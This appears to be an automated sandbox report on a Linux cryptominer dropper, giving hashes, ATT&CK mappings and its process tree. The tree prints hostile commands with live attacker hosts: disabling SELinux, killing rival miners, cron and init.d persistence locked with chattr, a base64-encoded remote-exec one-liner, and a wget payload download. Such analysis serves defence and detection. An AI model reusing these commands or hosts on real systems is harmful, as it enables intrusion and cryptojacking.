Analysis
- max time kernel
142s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20240611-en - resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
08/09/2024, 13:50
Static task
static1
Behavioral task
behavioral1
Sample
d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
Resource
debian9-mipsel-20240226-en
General
- Target d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
- Size 23KB
- Sample240908-q5agjazamn
- SHA256 e604a730154af21ede38f155dbee7ceeb218abd02362c0eba0ad0db9c5dfad33
- MD5 d481ad05c99f8bea7c95dcfc2017ae1e
- SHA1 8868bf6e8b820fe2d039269bf023a427ab287bdd
- SHA512 0685ccd5fa280a4edf8a38abcec7c78ef4f011e025da5ef45a0f4082f62cab5527071aca0c640a7d402770e695bede2b0024150ae6ff085ca8165ae8a3109c20
- SSDEEP 384:fQ6PgM8PvaA0Rj1vre1rLwPLEEHLwRLEEPoHjiiQZmnJQFzPTJsyzv14Cq2CqpR7:fQ6PgM8PvaA0Rj1vre1vGLECULExDiis
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 810 chmod - Creates/modifies Cron job 1 TTPs 6 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/apache d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118 File opened for modification /etc/cron.d/nginx d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118 File opened for modification /var/spool/cron/root d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118 File opened for modification /var/spool/cron/crontabs/root d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118 File opened for modification /etc/cron.hourly/oanacroner1 d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118 File opened for modification /etc/cron.d/root d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118 - Disables SELinux 6 IoCs
Disables SELinux security module.
pid Process 733 grep 745 grep 751 grep 648 setenforce 707 grep 714 grep - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/down bash - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 798 base64 - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo grep - Reads CPU attributes 1 TTPs 16 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/149/status ps File opened for reading /proc/self/fd xargs File opened for reading /proc/9/status ps File opened for reading /proc/12/status ps File opened for reading /proc/274/status ps File opened for reading /proc/self/fd xargs File opened for reading /proc/10/stat ps File opened for reading /proc/600/stat ps File opened for reading /proc/644/stat ps File opened for reading /proc/filesystems sed File opened for reading /proc/self/maps awk File opened for reading /proc/27/status ps File opened for reading /proc/41/stat ps File opened for reading /proc/115/stat ps File opened for reading /proc/148/status ps File opened for reading /proc/598/status ps File opened for reading /proc/827/stat ps File opened for reading /proc/filesystems setenforce File opened for reading /proc/645/stat ps File opened for reading /proc/filesystems sed File opened for reading /proc/23/status ps File opened for reading /proc/28/status ps File opened for reading /proc/82/status ps File opened for reading /proc/162/status ps File opened for reading /proc/filesystems sysctl File opened for reading /proc/7/status ps File opened for reading /proc/17/stat ps File opened for reading /proc/20/stat ps File opened for reading /proc/42/stat ps File opened for reading /proc/222/status ps File opened for reading /proc/sys/kernel/osrelease kill File opened for reading /proc/4/status ps File opened for reading /proc/149/stat ps File opened for reading /proc/278/status ps File opened for reading /proc/651/stat ps File opened for reading /proc/filesystems mkdir File opened for reading /proc/sys/kernel/osrelease kill File opened for reading /proc/self/maps awk File opened for reading /proc/104/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/filesystems crontab File opened for reading /proc/308/status ps File opened for reading /proc/self/fd xargs File opened for reading /proc/145/status ps File opened for reading /proc/filesystems sed File opened for reading /proc/self/maps awk File opened for reading /proc/filesystems sed File opened for reading /proc/self/fd xargs File opened for reading /proc/155/stat ps File opened for reading /proc/113/stat ps File opened for reading /proc/sys/kernel/osrelease kill File opened for reading /proc/26/stat ps File opened for reading /proc/filesystems sed File opened for reading /proc/21/status ps File opened for reading /proc/43/stat ps File opened for reading /proc/82/stat ps File opened for reading /proc/10/status ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/8/stat ps File opened for reading /proc/594/status ps File opened for reading /proc/645/status ps File opened for reading /proc/sys/kernel/osrelease kill File opened for reading /proc/274/stat ps File opened for reading /proc/filesystems kill - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/x86_64 wget
Processes
-
/tmp/d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118/tmp/d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes1181⤵
- Creates/modifies Cron job
PID:646 -
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
- Reads runtime system information
PID:648
-
-
/bin/grepgrep -c processor /proc/cpuinfo2⤵
- Checks CPU configuration
PID:650
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=3"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:653
-
-
/bin/grepgrep :33332⤵PID:659
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:660
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵
- Reads runtime system information
PID:661
-
-
/usr/bin/xargsxargs kill -92⤵PID:662
-
/sbin/killkill -93⤵PID:668
-
-
/bin/killkill -93⤵
- Reads CPU attributes
- Reads runtime system information
PID:668
-
-
-
/bin/grepgrep :44442⤵PID:672
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:673
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵
- Reads runtime system information
PID:674
-
-
/usr/bin/xargsxargs kill -92⤵PID:675
-
/sbin/killkill -93⤵PID:678
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:678
-
-
-
/bin/grepgrep :55552⤵PID:682
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:683
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵
- Reads runtime system information
PID:684
-
-
/usr/bin/xargsxargs kill -92⤵PID:685
-
/sbin/killkill -93⤵PID:688
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:688
-
-
-
/bin/grepgrep :77772⤵PID:691
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:693
-
-
/usr/bin/xargsxargs kill -92⤵
- Reads runtime system information
PID:694 -
/sbin/killkill -93⤵PID:696
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:696
-
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:692
-
-
/bin/grepgrep :144442⤵PID:698
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:700
-
-
/usr/bin/awkawk "{print \$7}"2⤵
- Reads runtime system information
PID:699
-
-
/usr/bin/xargsxargs kill -92⤵PID:701
-
/sbin/killkill -93⤵PID:703
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:703
-
-
-
/bin/grepgrep :57902⤵
- Disables SELinux
PID:707
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:708
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:709
-
-
/usr/bin/xargsxargs kill -92⤵PID:710
-
/sbin/killkill -93⤵PID:711
-
-
/bin/killkill -93⤵
- Reads CPU attributes
- Reads runtime system information
PID:711
-
-
-
/bin/grepgrep :457002⤵
- Disables SELinux
PID:714
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:715
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:716
-
-
/usr/bin/xargsxargs kill -92⤵PID:717
-
/sbin/killkill -93⤵PID:718
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:718
-
-
-
/bin/grepgrep :22222⤵PID:720
-
-
/usr/bin/awkawk "{print \$7}"2⤵
- Reads runtime system information
PID:721
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:722
-
-
/usr/bin/xargsxargs kill -92⤵PID:723
-
/sbin/killkill -93⤵PID:725
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:725
-
-
-
/bin/grepgrep :99992⤵PID:727
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:728
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:729
-
-
/usr/bin/xargsxargs kill -92⤵
- Reads runtime system information
PID:730 -
/sbin/killkill -93⤵PID:731
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:731
-
-
-
/bin/grepgrep :205802⤵
- Disables SELinux
PID:733
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:734
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:735
-
-
/usr/bin/xargsxargs kill -92⤵PID:736
-
/sbin/killkill -93⤵PID:737
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:737
-
-
-
/bin/grepgrep :135312⤵PID:739
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:740
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:741
-
-
/usr/bin/xargsxargs kill -92⤵
- Reads runtime system information
PID:742 -
/sbin/killkill -93⤵PID:743
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:743
-
-
-
/bin/grepgrep 23.94.24.12:80802⤵
- Disables SELinux
PID:745
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:746
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵
- Reads runtime system information
PID:747
-
-
/usr/bin/xargsxargs kill -92⤵PID:748
-
/sbin/killkill -93⤵PID:749
-
-
/bin/killkill -93⤵
- Reads CPU attributes
PID:749
-
-
-
/bin/grepgrep 134.122.17.13:80802⤵
- Disables SELinux
PID:751
-
-
/usr/bin/awkawk "{print \$7}"2⤵
- Reads runtime system information
PID:752
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:753
-
-
/usr/bin/xargsxargs kill -92⤵
- Reads runtime system information
PID:754 -
/sbin/killkill -93⤵PID:755
-
-
/bin/killkill -93⤵
- Reads CPU attributes
- Reads runtime system information
PID:755
-
-
-
/bin/grepgrep 107.189.11.170:4432⤵PID:757
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:758
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵
- Reads runtime system information
PID:759
-
-
/usr/bin/xargsxargs kill -92⤵PID:760
-
/sbin/killkill -93⤵PID:761
-
-
/bin/killkill -93⤵
- Reads CPU attributes
- Reads runtime system information
PID:761
-
-
-
/usr/bin/seqseq 0 2552⤵PID:763
-
-
/usr/bin/sortsort -R2⤵PID:764
-
-
/usr/bin/headhead -n12⤵PID:765
-
-
/usr/bin/seqseq 0 2552⤵PID:767
-
-
/usr/bin/sortsort -R2⤵PID:768
-
-
/usr/bin/headhead -n12⤵PID:769
-
-
/usr/bin/chattrchattr -ai /tmp/dbused2⤵PID:770
-
-
/sbin/ipip a2⤵PID:772
-
-
/bin/grepgrep "BROADCAST\\|inet"2⤵PID:773
-
-
/bin/grepgrep -oP "inet\\s+\\K\\d{1,3}\\.\\d{1,3}"2⤵PID:774
-
-
/bin/grepgrep -v 1272⤵PID:775
-
-
/bin/grepgrep -v inet62⤵PID:776
-
-
/bin/grepgrep -v 2552⤵PID:777
-
-
/usr/bin/headhead -n12⤵PID:778
-
-
/bin/pingping -c 1 pool.supportxmr.com2⤵PID:780
-
-
/bin/grepgrep "bytes of data"2⤵PID:781
-
-
/usr/bin/wcwc -l2⤵PID:782
-
-
/bin/pingping -c 1 bash.givemexyz.xyz2⤵PID:786
-
-
/bin/grepgrep "bytes of data"2⤵PID:787
-
-
/usr/bin/wcwc -l2⤵PID:788
-
-
/usr/bin/whoamiwhoami2⤵PID:789
-
-
/usr/bin/whoamiwhoami2⤵PID:791
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
PID:792
-
-
/bin/grepgrep -q "205.185.113.151\\|5.196.247.12\\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"2⤵PID:793
-
-
/usr/bin/whoamiwhoami2⤵PID:795
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:798
-
-
/bin/bashbash -2⤵
- Modifies init.d
PID:799 -
/bin/pingping -c 1 bash.givemexyz.xyz3⤵PID:802
-
-
/bin/grepgrep "bytes of data"3⤵PID:803
-
-
/usr/bin/wcwc -l3⤵PID:804
-
-
-
/bin/mkdirmkdir -p /var/spool/cron/crontabs2⤵
- Reads runtime system information
PID:806
-
-
/bin/mkdirmkdir -p /etc/cron.hourly2⤵PID:808
-
-
/bin/chmodchmod 755 /etc/cron.hourly/oanacroner12⤵
- File and Directory Permissions Modification
PID:810
-
-
/usr/bin/chattrchattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down2⤵PID:811
-
-
/bin/grepgrep "66.70.218.40:8080\\|209.141.35.17:8080"2⤵PID:816
-
-
/bin/grepgrep "LISTEN\\|ESTABLISHED\\|TIME_WAIT"2⤵PID:817
-
-
/bin/grepgrep -v grep2⤵PID:818
-
-
/bin/grepgrep "66.70.218.40:8080\\|209.141.35.17:8080"2⤵PID:821
-
-
/bin/grepgrep ESTABLISHED2⤵PID:822
-
-
/bin/grepgrep -v grep2⤵PID:823
-
-
/usr/bin/awkawk "{if(\$2>=30.0) print \$1}"2⤵
- Reads runtime system information
PID:827
-
-
/bin/psps axf -o "pid %cpu"2⤵
- Reads CPU attributes
- Reads runtime system information
PID:826
-
-
/usr/bin/md5summd5sum /tmp/x86_6432⤵PID:834
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:835
-
-
/usr/bin/getconfgetconf LONG_BIT2⤵PID:837
-
-
/usr/bin/wgetwget -O /tmp/x86_64 http://198.98.57.217/x86_642⤵
- Writes file to tmp directory
PID:839
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/cron.d/apache
- Size 323B
- SHA256 21adfcc05bc76c29ba43fffb268464f78f8c5aeb311e712f2e549500afc4f044
- MD5 1797e93434e240f052d458b2a507f763
- SHA1 fda5ac96aa75c7a1b10caa13b98f18315f71dbcb
- SHA512 358d0117418410da3ce0ff3bbffc4fd57c5ec2827a260854aa210cd6fe348e369680c05f80601ffc48f6ab3828397dc48cccbd01fda636b04c160e67f7bcdda9
- MD5 SHA1 SHA512
- Path /etc/cron.d/nginx
- Size 116B
- SHA256 cbf2790d96dd9f5b249264107590d7b47912f0b086dc046ed582f0938da4a636
- MD5 127a83b63d88f00497ca2c28897f0222
- SHA1 e2f74f2cf17c684eea9f448f643420173e416066
- SHA512 119c24680b60344b4651c08d961cbae00d9474fb0b736f4a2749ecadd5eeda9896ddc45eb71a637b009471880c6ea1a278f7842f0560cf4fe01280a9a0c5bd22
- MD5 SHA1 SHA512
- Path /etc/cron.d/root
- Size 323B
- SHA256 49282eefb95852ad618b6c5fb3feb2e5d536fb7e6694a1219045222aebbab0e9
- MD5 9a63517d2cb949c871a79da24c7db607
- SHA1 facc7d588fc82366166836d846b0c186ee72e0ac
- SHA512 1e0208a7a76188c7d0022c32013e6bfabaf91eb3ef9176c4ee1c1b7301b20e5162c24401661e272710db89eeb094e080e356fb4cf4b52e3a674470e022aa2499
- MD5 SHA1 SHA512
- Path /etc/cron.hourly/oanacroner1
- Size 305B
- SHA256 c41e3e0e0f2198d9f0dd999146d5aa88adaadbdd2a8830064e9084c3fb928a77
- MD5 c06e770bf30df9c1facfae9a4e148095
- SHA1 81e483b1ef8795a46c8aba2862da3852d7d93169
- SHA512 756756b723f07214c1f7510f1ff75bdad3bc99b1b8dd2fbaa71a7c64215c7706b8a7f04bd2ebd9dac4891d1379aaac6c54442cf02aef159396e2c95a10fff7e7
- MD5 SHA1 SHA512
- Path /etc/init.d/down
- Size 363B
- SHA256 3c44fde9909cfffd4f4e46bab70d902548f0e9218f2b7984ce51770fd1c67275
- MD5 dcf01b550a04315f97454977a2abd4bb
- SHA1 ab6edfc519b633c31bde9564f5ea5b969af5931f
- SHA512 5ab6beb27b6a24c8eeb08da819999575031def90020641a0b8c21a7bb38a61393acff0aa6600337e0da4c35f866c20902bcf4d84ce170c6c1d7c6c230b6a8d9d
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 316B
- SHA256 19157fbd5fe224250a445ec5bd70ff3254a26a08f7ab403d87ddc7bf6859c9ce
- MD5 f1eb157eace99ee2b7f959e284ba920b
- SHA1 66e993d62d5343f6396c9b7ad68749333657d497
- SHA512 152a0475cba06fe6e7ea5a5fef0ac73503ee5778e2b4f85b2ab0dbf8740e5718ddf001cd091d3528453291b3f2c7b2e9694a594e175429fb67cb582c199815b5
- MD5 SHA1 SHA512
- Path /var/spool/cron/root
- Size 320B
- SHA256 b5b78e6f0a2b92b418feef3f4463f00adccd0ccfbcab77a8622178ac5ff75d7f
- MD5 07ea08b1463ec359527ed74874c367dd
- SHA1 a971d81b3f916d008bad17745712958ee6e5c46a
- SHA512 b66911e51cc6ac4878b77f4685b7711c6674160d614eea06497c0507b7d4272ddf85b57860dc371338dc056bffb51c4589033b5a7cec1eadee92a986a7da9d37
- MD5 SHA1 SHA512